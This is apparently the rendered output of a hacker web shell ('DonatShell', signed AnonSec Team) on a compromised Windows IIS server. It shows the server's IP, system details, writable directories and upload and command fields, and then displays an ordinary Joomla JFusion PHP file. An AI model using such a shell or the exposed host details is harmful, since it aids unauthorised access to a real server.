DonatShell
Server IP : 180.180.241.3  /  Your IP : 216.73.216.252
Web Server : Microsoft-IIS/7.5
System : Windows NT NETWORK-NHRC 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586
User : IUSR ( 0)
PHP Version : 5.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /AppServ/www/news/components/com_jfusion/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /AppServ/www/news/components/com_jfusion/jfusion.php
<?php
/**
 * @package JFusion
 * @author JFusion development team
 * @copyright Copyright (C) 2008 JFusion. All rights reserved.
 * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
 */

// no direct access
defined ( '_JEXEC' ) or die ( 'Restricted access' );

//require the constants
require_once(JPATH_ADMINISTRATOR.DS.'components'.DS.'com_jfusion'.DS.'defines.php');
require_once(JPATH_ADMINISTRATOR.DS.'components'.DS.'com_jfusion'.DS.'models'.DS.'model.factory.php');

jimport ( 'joomla.filesystem.file' );

//force a jfusion view if the plugin submitted form to index.php without a view input
$view = JRequest::getVar('view','plugin');

//this is needed as a safe guard in the case a plugin submits a form to index.php with an input named view that is used by the integrated software
$jfusion_views = JFolder::folders(JPATH_SITE.DS.'components'.DS.'com_jfusion'.DS.'views');
if(!in_array($view,$jfusion_views)) $view = 'plugin';

// Load the appropriate controller
$controller = JRequest::getCmd('controller', $view ); // Black magic: Get controller based on the selected view
$path = JPATH_COMPONENT . DS . 'controllers' . DS . $controller . '.php';

if (JFile::exists ( $path )) {
	// The requested controller exists and there you load it...
	require_once ($path);
} else {
	// Hmm... an invalid controller was passed
	JError::raiseError ( '500', JText::_ ( 'Unknown controller' ) );
}

// Instanciate and execute the controller
// Note we cannot use JString here as it causes function name conflicts with phpBB
$classname = 'JFusionController' . ucfirst ( $controller );
/**
 * @ignore
 * @var $controller JController
 */
$controller = new $classname ( );

$controller->execute( JRequest::getCmd ( 'task' ) );

// Redirect
$controller->redirect();

Anon7 - 2022
AnonSec Team